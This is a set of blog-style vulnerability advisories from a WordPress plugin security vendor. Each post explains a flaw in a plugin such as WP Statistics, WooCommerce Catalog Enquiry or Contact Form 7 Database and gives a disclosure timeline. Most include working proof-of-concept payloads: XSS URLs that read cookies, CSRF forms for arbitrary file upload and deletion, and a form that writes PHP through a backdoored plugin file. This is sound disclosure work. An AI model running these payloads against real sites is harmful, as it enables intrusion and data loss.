28 Apr

Reflected Cross-Site Scripting (XSS) Vulnerability in WP Statistics

A couple of days ago we started to look into a series of releases (12.0.2-12.0.5) of the plugin WP Statistics that were indicated to have fixed cross-site scripting (XSS) vulnerabilities. While there were a couple of advisories put out related to this, those didn’t include the details needed to confirm that vulnerabilities had existed and had been fixed. When we started testing things out to figure out exactly what was going on, we accidentally ran across yet another XSS vulnerability, this time a reflected XSS vulnerability.

While that is a minor vulnerability, it probably isn’t the best sign of the security of that plugin that we could stumble on to yet another vulnerability. Considering that this is a plugin with 300,000+ active installs according to wordpress.org, it also isn’t a good sign as to the security of WordPress plugins in general.

The issue started in the file /includes/log/page-statistics.php where the value of the GET input “page-uri” is set to the variable $pageuri without being sanitized:

7
if( array_key_exists( 'page-uri', $_GET ) ) { $pageuri = $_GET['page-uri']; } else { $pageuri = null; }

That variable is then added to the variable $urlfields:

20
if( $pageuri ) { $urlfields .= "&page-uri={$pageuri}"; }

And the second variable is passed to the function wp_statistics_date_range_selector():

29
wp_statistics_date_range_selector( WP_STATISTICS_PAGES_PAGE, $daysToDisplay, null, null, $urlfields );

From there in the file /includes/functions/functions.php the value was output unescaped on line 972:

echo 'href="?page=' . $page . '&hitdays=' . $range[$i] . $extrafields . '">' . $desc[$i] . '</a></li>';

And on line 988:

echo '<input type="hidden" name="' . $key . '" value="' . $value . '">';

In version 12.0.6 both of those instances where it is output now pass the value through the escaping function esc_url():

echo 'href="?page=' . $page . '&hitdays=' . $range[$i] . esc_url($extrafields) . '">' . $desc[$i] . '</a></li>';
echo '<input type="hidden" name="' . $key . '" value="' . esc_url($value) . '">';

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=wps_pages_page&page-uri=%3F%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E

Timeline

  • February 26, 2017 – Developer notified.
  • February 28, 2017 – Version 12.0.6 released, which fixes vulnerabilities.
21 Apr

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in TheCartPress

In February we saw what looked like it might be a hacker probing for usage of the plugin TheCartPress. While we already had a vulnerability in our data that could have been what a hacker might be targeting, we started looking for any other vulnerabilities in the current version that might be of interest of a hacker. While doing that we found a cross-site request forgery (CSRF)/arbitrary file upload vulnerability, which could allow an attacker to cause a logged in Administrator to upload a file to the website. The file is placed in a directory that is restricted from access through a .htaccess file, so the file would only be accessible on servers that don’t use those file (several of which are supported for use with WordPress) or using a local file inclusion (LFI) vulnerability. The combination of the type of vulnerability and that restriction make it unlikely that this vulnerability would be exploited.

The vulnerability in exists in the file /admin/UploadFiles.php, which is made accessible to Administrators through the following line in the /TheCartPress.class.php:

800
add_submenu_page( 'tcp' , __( 'Upload files', 'tcp' ), __( 'Upload files', 'tcp' ), 'tcp_edit_product', TCP_ADMIN_FOLDER . 'UploadFiles.php' );

In the file /admin/UploadFiles.php the upload is handled through the function tcp_upload_file(), which does not have protection against CSRF before the file is saved to the filesystem using move_uploaded_file():

34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
function tcp_upload_file( $post_id, $file ) {
	global $thecartpress;
	global $error_upload;
	$rev_name = strrev( $_FILES['upload_file']['name'] );
	$i = strpos( $rev_name, '.' );
	$ext = strrev( substr( $rev_name, 0, $i ) );
	$downloadable_path = isset( $thecartpress->settings['downloadable_path'] ) ? trim( $thecartpress->settings['downloadable_path'] ) : '';
	if ( strlen( $downloadable_path ) == 0 ) {
		wp_die( __( 'The path where the downloadable files must be saved is not set.', 'tcp' ) );
		return false;
	} else {
		global $wpdb;
		//$folder_path = $downloadable_path . '/' . $wpdb->prefix . 'tcp';
		$folder_path = $downloadable_path . '/tcp';
		if ( ! file_exists( $folder_path ) )
			if ( ! wp_mkdir_p( $folder_path ) ) {
				$error_upload = sprintf( __( 'Error creating the folder "%s".', 'tcp' ), $folder_path );
				return false;
			}
		$file_path = $folder_path . '/upload_' . $post_id . '.' . $ext;
		tcp_set_the_file( $post_id, $file_path );
		if ( move_uploaded_file( $_FILES['upload_file']['tmp_name'], $file_path ) ) {

Proof of Concept

The following proof of concept will cause the chosen file to be uploaded to the directory /wp-content/plugins/thecartpress/uploads/tcp/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[ID of Product Post]” with the ID of a post for an existing product (which is listed in numerous places in the source code of product’s page).

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=thecartpress%2Fadmin%2FUploadFiles.php&post_id=14" method="POST" enctype="multipart/form-data">
<input type="hidden" name="post_id" value="[ID of product post]" >
<input type="hidden" name="tcp_upload_virtual_file" value="Upload file">
<input type="file" name="upload_file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • February 6, 2017 – Developer notified.
20 Apr

Arbitrary File Upload Vulnerability in WooCommerce Catalog Enquiry

One of the ways we keep track of vulnerabilities in WordPress plugins so that we can provide our customers with the best data on vulnerabilities in WordPress plugins is by monitoring the Support Forum on wordpress.org for threads related to those. Through that yesterday we came across a thread discussing that the demo website for the plugin WooCommerce Catalog Enquiry contained malware. It suggested that it was possible the issue was related to a vulnerability in the plugin. Looking over the code we quickly found an arbitrary file upload vulnerability in the plugin, which could allow an attacker to upload malicious files to the website. It isn’t clear if the demo website was exploited through this or if the vulnerability has been exploited yet and we haven’t seen evidence through other channels we monitor of any exploitation, but considering the ease we had finding it would be good idea to assume this is already being exploited at this point.

WordPress Forum Moderators Interrupt Responsible Disclosure

We notified the developer of the plugin of the issue yesterday, but have yet to hear back from them. This morning the thread had been updated with a response from the developer that read in part:

Just to inform you, this issue has not generated from our plugin. A third party plugin was causing this.

There wasn’t any explanation as to the source of the malware beyond that and the demo website still contained the malicious code at that time, so we suspect that the developer probably didn’t actual know what the source was.

We responded, letting them know that the malware still being on the demo website and letting them know that we had contacted them about the vulnerability. For some reason a forum moderator removed most of our reply and left this message:

As we have mentioned before, please report plugin security vulnerabilities following the guide at https://developer.wordpress.org/plugins/wordpress-org/plugin-security/reporting-plugin-security-issues/ so that they can be handled properly by the right people, and please do not publicly disclose security vulnerabilities here.

Not only had we not disclosed any vulnerability there (the main point of our message was to try to get the vulnerability fixed before we needed to disclose it), but the guidelines they linked to actually stated at the time:

In the case of serious exploits, please keep in mind responsible and reasonable disclosure. Every attempt to contact the developer directly should be made before you reported the plugin to us (though we understand this can be difficult – check in the source code of the plugin first, many developers list their emails).

Which is what we were in the process of doing. The thread goes on from there with more troubling lack of understanding from forum moderators and the security team (which is far too common an occurrence in our experience).

Deciding when we disclose vulnerabilities is problematic to say the least, because we have an obligation to notify our customers of vulnerabilities in the plugins they use promptly as that is what they are paying us for, but we will also want to limit the additional damage that can be done by vulnerabilities even for those not using our service. The longer we wait the higher the chances one of our customer could be impacted by a vulnerability they should have known about, but waiting could limit damage on a wider scale. We try to balance in our formal disclosure policy and by publicly disclosing vulnerabilities we have discovered so that our customers are not alone in knowing there is an issue (though other WordPress plugin vulnerability data providers don’t seem to do a good job of including those vulnerabilities). For vulnerabilities that are already likely being exploited we also add them to the free data that comes with our services companion plugin, to further limit the damage.

By comparison the WordPress thinks it is appropriate to never warn people about vulnerable plugins that are being exploited until they are fixed, despite the fact that some of those are never fixed, leaving website open to being exploited indefinitely.

The forum moderators also removed the plugin from the Plugin Directory, which will slow down the possibility of fixing the plugin since additional steps have to happen for a fixed version to be released to the public, so we are disclosing the vulnerability now. We had hoped to hold off until there was a fix, if it was quick in coming, but the forum moderators decided to interrupt the process.

Seeing as the vulnerability may already being exploited we are adding it to the free data in our service’s companion plugin, so even those not using the service will get notified if they are using a vulnerable version. Though for those running WooCommerce on their website (as we do), using our service is a good idea as you likely have sensitive data passing through or being stored on your website and this isn’t the only time a plugin for WooCommerce has had a serious vulnerability. We previously found two other arbitrary file upload vulnerabilities in plugins for it and there was another vulnerability found in one last year that would expose order data, which we found that no security plugins would protect against.

Vulnerability Details

The vulnerability involves the function send_product_enqury_mail() located in the file /classes/class-wc-Woocommerce-Catalog-Enquiry-ajax.php. That function is made available through WordPress’ AJAX functionality to those logged in to WordPress and those not logged in:

6
7
add_action('wp_ajax_send_enquiry_mail', array&amp;$this, 'send_product_enqury_mail') );
add_action( 'wp_ajax_nopriv_send_enquiry_mail', array( &$this, 'send_product_enqury_mail' ) );

As of version 3.0.0 the function has the following code that would take a file sent with a request to that function and save it to the filesystem:

59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
if(isset($_FILES['fileupload'])){
	// create catalog enquiry sub directory within uploads
	$upload_dir = wp_upload_dir();
	$catalog_enquiry = $upload_dir['basedir'].'/catalog_enquiry';
	if ( ! file_exists( $catalog_enquiry ) ) {
	    wp_mkdir_p( $catalog_enquiry );
	}
 
	foreach ($_FILES['fileupload'] as $key => $value) {
        $_FILES['fileupload'][$key] = $value[0]; 
    }
    $woo_customer_filesize = 2097152;
    if(isset($settings['filesize_limit']) && !empty($settings['filesize_limit'])){
    	$woo_customer_filesize = intval($settings['filesize_limit'])*1024*1024;
    }
 
    // Check file size
	if ($_FILES['fileupload']['size'] < $woo_customer_filesize) {
		$target_file = $catalog_enquiry.'/'.basename($_FILES['fileupload']['name']);
	    if (move_uploaded_file($_FILES['fileupload']['tmp_name'], $target_file)){
			    	$attachments[] = $target_file; 
	    }
	}
}

That code doesn’t limit what files can be uploaded or in some way restrict access to them. It isn’t clear to us why the files are being saved to the filesystem since the uploading them seems to be so that they can be sent in an email later in the function.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/catalog_enquiry/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="send_enquiry_mail" />
<input type="file" name="fileupload[0]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • April 19, 2017 – Developer notified.
  • April 20, 2017 – Plugin removed from WordPress.org Plugin Directory.
  • April 20, 2017 – Vulnerability added to free data in our service’s companion plugin.
  • April 24, 2017 – Plugin returns to Plugin Directory with fixed version.
19 Apr

Cross-Site Request Forgery (CSRF) Vulnerabilities in Triagis® Security Evaluation

Far too often it is found that security plugins for WordPress introduce security vulnerabilities of their own, which if you know much about security isn’t too surprising considering that so many security companies don’t seem to know and or care much about security.

We recently ran across the security plugin Triagis® Security Evaluation, which is described as “a simple lite-weight plugin to analyze your current WordPress installation, server for security vulnerabilities”. While taking a look over the plugin we found that it made functions available through WordPress’ AJAX functionality that are restricted to Administrator level users, but lack protection against cross-site request forgery (CSRF). Through that an attacker could cause a logged in Administrator to change the WordPress content directory’s location, change the website’s file permissions, delete arbitrary files on a website, change a user’s username, change the database prefix, or move the WordPress configuration file. While CSRF vulnerabilities are not something likely to be targeted at this time, an attacker could cause some serious issues if they were successful in exploiting this.

As an example of the issues let’s take a look at the function w4sl_delete_file_ajax() (in the file /admin/page-security-informations.php), which handles deleting files.

The function checks if the user making the request is an Administrator:

575
576
if( !is_super_admin())
	die( json_encode( array( 'error' => 'Unauthorized access !!' )));

Then it checks if the file being requested to exists and is readable:

578
579
580
581
582
583
$file = w4sl_sanitize_path( $_POST['file'] );
if( empty( $file ) || !file_exists( $file ))
	die( json_encode( array( 'error' => 'File not found !!' )));
 
if( !is_readable( $file ))
	die( json_encode( array( 'error' => 'File not readable !!' )));

After that it deletes the file:

585
@unlink( $file );

Nowhere in the function is there a check for valid nonce, which is used to prevent CSRF in WordPress.

Proof of Concept

The following proof of concept will delete a file named test.txt in the root directory of the WordPress install.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="w4sl_delete_file" />
<input type="hidden" name="file" value="../test.txt" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • April 10, 2017 – Developer notified.
  • April 19, 2017 – WordPress.org Plugin Directory notified.
  • April 19, 2017 – Removed from WordPress.org Plugin Directory.
03 Apr

Cross-Site Request Forgery (CSRF)/Form Submission Deletion Vulnerability in Contact Form 7 Database

While looking over another vulnerability in the plugin Contact Form 7 Database we also noticed that it lacked protection against cross-site request forgery (CSRF) when deleting the form submissions that it stores.

The following code in the file /admin/table.php handles processing requests to delete form submissions:

129
130
131
132
133
134
135
136
137
138
// If the delete bulk action is triggered
if ((isset($_POST['action']) && $_POST['action'] == 'bulk-delete')
   || (isset($_POST['action2']) && $_POST['action2'] == 'bulk-delete')
) {
    $delete_ids = esc_sql($_POST['bulk-delete']);
 
// loop over the array of record IDs and delete them
foreach ($delete_ids as $id) {
    $this->delete_entry($id);
}

The code doesn’t check for a valid nonce, which is used to prevent CSRF.

Proof of Concept

The following proof of concept will delete the form submissions with the ID 1 and 2, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=cf7-data&action=-1&cf7d-export=-1&del_id%5B%5D=1&del_id%5B%5D=2&action2=delete&btn_apply2=Apply

Timeline

  • March 27, 2017 – Developer notified.
  • April 3, 2017 – WordPress.org Plugin Directory notified.
  • April 3, 2017 – Plugin removed from WordPress.org Plugin Directory.
03 Apr

Reflected Cross-Site Scripting (XSS) Vulnerability in Contact Form 7 Database

One of the ways we keep track of vulnerabilities in WordPress plugins is by monitoring the wordpress.org Support Forum as that is sometimes where vulnerabilities are disclosed. As far as we can tell we are alone in doing this, so if you are relying on another data source for your plugin vulnerability data you are most likely not going to be warned about those. One recent vulnerability we came across through that is a persistent cross-site scripting (XSS) vulnerability in the plugin Contact Form 7 Database. While looking into that we noticed that the plugin also has a reflected cross-site scripting (XSS) vulnerability.

When using the search function on the plugin’s admin page the value searched for, in the form of the GET input “search”, is echo’d without being escaped on line 11 of the file /admin/search.php:

<input value="<?php echo ((isset($_GET['search'])) ? $_GET['search'] : ''); ?>" type="text" class="" id="cf7d-search-q" placeholder="<?php echo _e('Type something...'); ?>" id="" />

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=cf7-data&search="><script>alert(document.cookie);</script>

Timeline

  • March 27, 2017 – Developer notified.
  • April 3, 2017 – WordPress.org Plugin Directory notified.
  • April 3, 2017 – Plugin removed from WordPress.org Plugin Directory.
31 Mar

Information Disclosure Vulnerability in Easy Digital Downloads

One of the features of our service is that our customers get to suggest and vote for plugins to get a security review done by us. Last month we did a review of the plugin Easy Digital Downloads and one of the issues we found through that was an information disclosure vulnerability.

The function edd_ajax_get_download_title in the file /includes/ajax-functions.php is accessible via AJAX by those logged in and out, despite stating that it is “used only in WordPress Admin”. The function is intended to return the title of the plugin’s downloads, but as can be seen below it lacks any restriction as to what it will return the tile of:

396
397
398
399
400
401
402
403
404
405
406
function edd_ajax_get_download_title() {
	if ( isset( $_POST['download_id'] ) ) {
		$title = get_the_title( $_POST['download_id'] );
		if ( $title ) {
			echo $title;
		} else {
			echo 'fail';
		}
	}
	edd_die();
}

Since the function will return the title of any post (not just downloads), there is the possibility that the title of unpublished posts, private posts, or other private content stored in a post could be exposed through that.

It looks like that function isn’t actually used anymore, at least we couldn’t find where it was used in the plugin.

We notified the developer of the issue on February 27 and they responded, but the issue has not been resolved as of our posting this.

Proof of Concept

The following proof of concept will return the title of the post specified.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[post ID]” with the ID of the post.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="edd_get_download_title" />
<input type="hidden" name="download_id" value="[post ID]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • February 27, 2017 – Developer notified.
  • February 27, 2017 – Developer responds.
31 Mar

Vulnerability Details: Possible Remote Code Execution (RCE) Vulnerability in Lightbox Wp

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor hacking attempts on our websites. Through that we recently came across a request for a file, /wp-content/plugins/custom-lightbox/readme.txt, from the plugin Lightbox Wp. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Looking the plugin’s code we noticed that the plugin had the same malicious code as we have found in numerous other plugins that are being targeted by hackers (all of those plugins have no longer been in the Plugin Directory when we have come across them). We also found, as we found in one of the others, that the malicious code usually will not produced the intended result.

In the file /setup.php there is following code:

2
3
4
5
6
7
8
9
session_start();
$wizardinstall = $_POST['newins'];
$fp = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/jquery-lightbox-terensis-wp/uninstall.php', 'w');
$wizardinstall = str_replace('\\', '', $wizardinstall);
$wizardinstall = htmlentities($wizardinstall);
fwrite($fp, html_entity_decode($wizardinstall));
fclose($fp);
echo $wizardinstall;

That code could take the contents of POST input “newins” and save it to the file /wp-content/plugins/jquery-lightbox-terensis-wp/uninstall.php, which would be a remote code execution (RCE) vulnerability since the file has .php extension. The problem with that is that the function used to create the file, fopen(), will not create a directory that doesn’t exist, so the code will only work in you already have a directory named “jquery-lightbox-terensis-wp”  in the “/wp-content/plugins/” directory. Considering that there isn’t a plugin in the Plugin Directory with that name, it seems unlikely that would be the case for anyone.

Proof of Concept

The following proof of concept will place the specified PHP code in to the file uninstall.php in the directory /wp-content/plugins/jquery-lightbox-terensis-wp/, if that directory already exists.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/custom-lightbox/setup.php" method="POST">
<input type="hidden" name="newins" value="[PHP code]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
29 Mar

Authenticated Document Modification Vulnerability in BP Group Documents

One of the changelog entries for version 1.10 of the plugin BP Group Documents is “Security fixes “. Looking at the changes made in that version there is code added that checks if a user has permission to edit a document before allowing additional code to run. That seemed very similar to a change made in another BuddyPress plugin, BuddyPress Docs, that we detailed last week and at first we thought the same issue was fixed in this plugin. But upon a closer look we found that the change was to code that did something else and the issue of a user being able to edit documents they shouldn’t existed in the current of this plugin. We notified the developer and less than day later version 1.11 was released, which fixes the vulnerability.

As of version 1.10 the function do_post_logic(), in the file /include/templatetags.php, the only check done before saving changes to a document is to see if there is a valid nonce, which prevents cross-site request forgery (CSRF), included with the request:

79
80
81
82
83
84
85
86
private function do_post_logic() {
    $bp = buddypress();
    if ( isset($_POST['bp_group_documents_operation']) ) {
        $nonce = $_POST['bp_group_document_save'];
        if ( (!isset($nonce)) || (!wp_verify_nonce($nonce , 'bp_group_document_save_' . $_POST['bp_group_documents_operation'])) ) {
            bp_core_add_message(__('There was a security problem' , 'bp-group-documents') , 'error');
            return false;
        }

As long as a user had the ability to edit one document they would have had access to a valid nonce and so they could edit any other document:

In version 1.11 before the code to save changes to a document runs a check to make sure the user can edit that document occurs:

127
if ( $document-&gt;current_user_can('edit') ) {

Proof of Concept

When logged in and on the page to edit a document use your web browser’s developer tools to find the line that looks like this:

<input name="bp_group_documents_id" value="2" type="hidden">

Change the value in that to a document ID for a document you are not supposed to be allowed to edit and save the document, the information from the document you are editing will now be set to the document you are supposed to be allowed to edit as well.

Timeline

  • March 28, 2017 – Developer notified.
  • March 29, 2017 – Version 1.11 released, which fixes vulnerability.